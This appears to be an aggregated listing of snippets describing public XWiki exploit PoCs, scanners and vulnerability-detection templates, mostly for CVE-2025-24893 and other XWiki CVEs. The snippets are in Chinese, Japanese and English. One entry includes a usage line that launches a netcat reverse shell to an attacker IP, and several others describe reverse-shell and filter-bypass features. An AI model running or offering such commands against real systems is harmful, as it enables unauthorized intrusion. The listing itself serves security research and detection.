CVE-2025-24893

CVE-2025-24893 针对 XWiki 版本低于 15.10.11、16.4.1 和 16.5.0RC1 的远程代码执行漏洞利用。 用法 $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' 仅用于道德目的 :...

cov-int

XWiki Commons XWiki Commons是多个其他顶级XWiki项目共用的技术库。 这些库可以被XWiki生态系统之外的项目使用，具有通用性，且与wiki领域无关。 XWiki Platform、XWiki Commons和XWiki Rendering是XWiki.org软件工厂的一部分。它们一起发布并共享相同的版本。 文档 文档 API 开发专区 下载 XWiki Commons的JAR包可在获取。 发布说明 阅读我们的发布说明。 工具 持续集成为每次提交启动构建 问题追踪如果你要报告问题 开发流程查看我们用于构建XWiki的完整工具列表 社区 我们一直在寻找贡献者！...

CVE-2025-24893-PoC

CVE-2025-24893-PoC XWiki 未授权远程代码执行漏洞利用 受影响的 XWiki 版本 版本 15.10.11 版本 16.4.1 版本 16.5.0RC1 漏洞描述 受影响版本的 XWiki 存在一个远程代码执行漏洞，该漏洞由 SolrSearch 宏中不安全的 Groovy 表达式处理引起。未经认证的攻击者可远程执行任意 Groovy 代码并获得反向 Shell。 概念验证 此漏洞利用可用于在目标机器上执行代码，同时也能建立反向 Shell。提供两种模式：交互式或基于参数。该漏洞利用可自动启动监听器，也可使用现有监听器。 先决条件 攻击者机器 Python 3...

CVE-2024-31982

CVE-2024-31982 PoC およびバルクスキャナー 概要 CVE-2024-31982 の PoC: XWiki Platform のリモートコード実行 14.10.20。この PoC は、こちらの セキュリティアドバイザリ に基づいています。 使用方法 単一ターゲットスキャン 単一のターゲットエンドポイントをスキャンするには： python CVE-2024-31982.py -u target バルクターゲットスキャン 複数のターゲットを一括スキャンするには： python cve-2024-31982.py -f targets.txt インストール 最低要件 Pytho...

xwiki_solrsearch-rce-exploit

solrsearch-rce-exploit XWiki SolrSearch 用の認証不要 RCE PoC CVE-2025-24893。コマンド実行 + リバースシェル。 CVE-2025-24893 – XWiki SolrSearch RCE PoC XWiki SolrSearch テンプレートインジェクションによる認証不要のリモートコード実行を実証する概念実証です。 XWiki Debian 15.10.8 でテスト済み 15.10.11 / 16.4.1 / 16.5.0RC1 で修正。 ⚠️...

CVE-2025-32429-Checker

CVE-2025-32429 脆弱性チェッカー XWikiプラットフォームにおけるCVE-2025-32429 SQLインジェクション脆弱性を検出するためのPythonベースの脆弱性スキャナーです。 機能 単一ターゲットスキャン : -tオプションで個別ターゲットをチェック バルクスキャン : -lオプションでファイルから複数ターゲットをスキャン WAF検出 : Webアプリケーションファイアウォールを自動検出 時間ベース検出 : 時間ベースのSQLインジェクション脆弱性を特定 エラーベース検出 : レスポンス内のSQLエラーメッセージを検出 マルチスレッド :...

CVE-2025-24893-

CVE-2025-24893- CVE-2025-24893 | XWikiプラットフォームにおけるリモートコード実行の脆弱性（概念実証）...

cve-2025-24893

CVE-2025-24893 - XWiki 未認証RCEエクスプロイトPOC ⚠️ XWikiにおける未認証リモートコード実行 🛠️ PoC実装: @dollarboysushil 💡 概要 CVE-2025-24893 は、XWikiにおける重大なRCE脆弱性であり、SolrSearch マクロ内の安全でないGroovy式の処理によって引き起こされます。攻撃者は細工したGETリクエストを介してGroovyコードを注入し、リモートコード実行 （認証不要）を引き起こす可能性があります。 深刻度: 重大 CVSS 9.8 影響を受けるバージョン:...

CVE-2025-24893-XWiki-Unauthenticated-RCE-Exploit-POC

CVE-2025-24893 - XWiki 未認証RCEエクスプロイトPOC ⚠️ XWikiにおける未認証のリモートコード実行 🛠️ @dollarboysushilによるPoC実装 💡 概要 CVE-2025-24893 は、XWikiにおける深刻なRCE脆弱性であり、SolrSearchマクロ内での安全でないGroovy式の処理に起因します。攻撃者は巧妙に細工されたGETリクエストを通じてGroovyコードを注入し、リモートコード実行 を引き起こすことができます（認証不要）。 重要度: 緊急 CVSS 9.8 影響を受けるバージョン:...

CVE-2025-24893-PoC

CVE-2025-24893 - XWiki 远程代码执行 RCE 这是一个针对 CVE-2025-24893 的更新版概念验证 PoC 利用代码，该漏洞是 XWiki 中的一个关键未认证 RCE 漏洞。此版本在原版基础上进行了改进，允许执行任意 shell 命令并实现干净的反弹 shell 注入。 作者: HexHunter404 ⚠️ 警告 此代码仅供教育和授权的渗透测试使用 。 请勿将其用于您不拥有或未经明确许可测试的系统上。 ✨ 功能特点 支持通过 bash -c '' 执行命令 完全支持反弹 shell（通过 base64 绕过 Groovy 限制） 改进了命令输出的处理 保留...

XWiki - Open Redirect

XWiki Commons are technical libraries common to several other top level XWiki projects. It is possible to bypass the existing security measures put in place to avoid open redirect by using a redirect such as //mydomain.com i.e. omitting the http:. It was also possible to bypass it when using URL...

XWiki >= 13.10.8 - Cross-Site Scripting

Reflected XSS vulnerability in XWiki authenticate endpoints allows execution of arbitrary JavaScript. id: CVE-2023-29506 info: name: XWiki = 13.10.8 - Cross-Site Scripting author: ritikchaddha severity: medium description: | Reflected XSS vulnerability in XWiki authenticate endpoints allows...

XWiki - Cross-Site Scripting

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page XSS. It's possible to exploit the restore template to perform a XSS, e.g. by using URL such as:...

XWiki - Open Redirect

XWiki Platform is vulnerable to open redirect attacks due to improper validation of the xredirect parameter. This allows an attacker to redirect users to an arbitrary website. The vulnerability is patched in versions 14.10.4 and 15.0. id: CVE-2023-32068 info: name: XWiki - Open Redirect author:...

XWiki Platform - Unauthorized Document History Access

A vulnerability in XWiki Platform's REST API allows unauthorized users to access document history information. The REST API endpoint exposes the history of any page including modification times, version numbers, author details username and display name, and version comments, regardless of access...

XWiki Platform - Cross-Site Scripting

XWiki Platform versions = 4.2-milestone-3 and = 16.5.0-rc-1 and = 17.0.0-rc-1 and = 4.2-milestone-3 and = 16.5.0-rc-1 and = 17.0.0-rc-1 and 17.3.0-rc-1 are vulnerable to reflected XSS in two templates. The vulnerability allows an attacker to execute malicious JavaScript code in the context of the...

XWiki Platform - Path Traversal

XWiki Platform 4.2-milestone-2 through 16.10.6 contains a path traversal caused by improper access control in jsx and sx endpoints, letting remote attackers read configuration files, exploit requires no special privileges. id: CVE-2025-55748 info: name: XWiki Platform - Path Traversal author:...

XWiki - Information Disclosure

XWiki 16.7.0 to 16.10.11, 17.4.4, and 17.7.0 using XJetty contains an information disclosure vulnerability caused by exposed context allowing static access to files in webapp/ folder, letting attackers access sensitive files, exploit requires use of XJetty package. id: CVE-2025-55749 info: name:...

XWiki - HQL Injection

XWiki is vulnerable to Hibernate Query Language HQL injection in the wiki and space search REST API starting in version 4.3-milestone-1 and prior to versions 16.10.9, 17.4.2, and 17.5.0. The vulnerability allows attackers to inject malicious HQL queries through the orderField parameter, potential...

XWiki Platform Distribution Flavor Main - Cross-Site Scripting

XWiki Platform Distribution Flavor Main versions prior to 17.6.0 are vulnerable to reflected cross-site scripting XSS due to improper sanitization of user-supplied input in the extensionId parameter. An attacker can exploit this issue by injecting malicious JavaScript, which will be executed in t...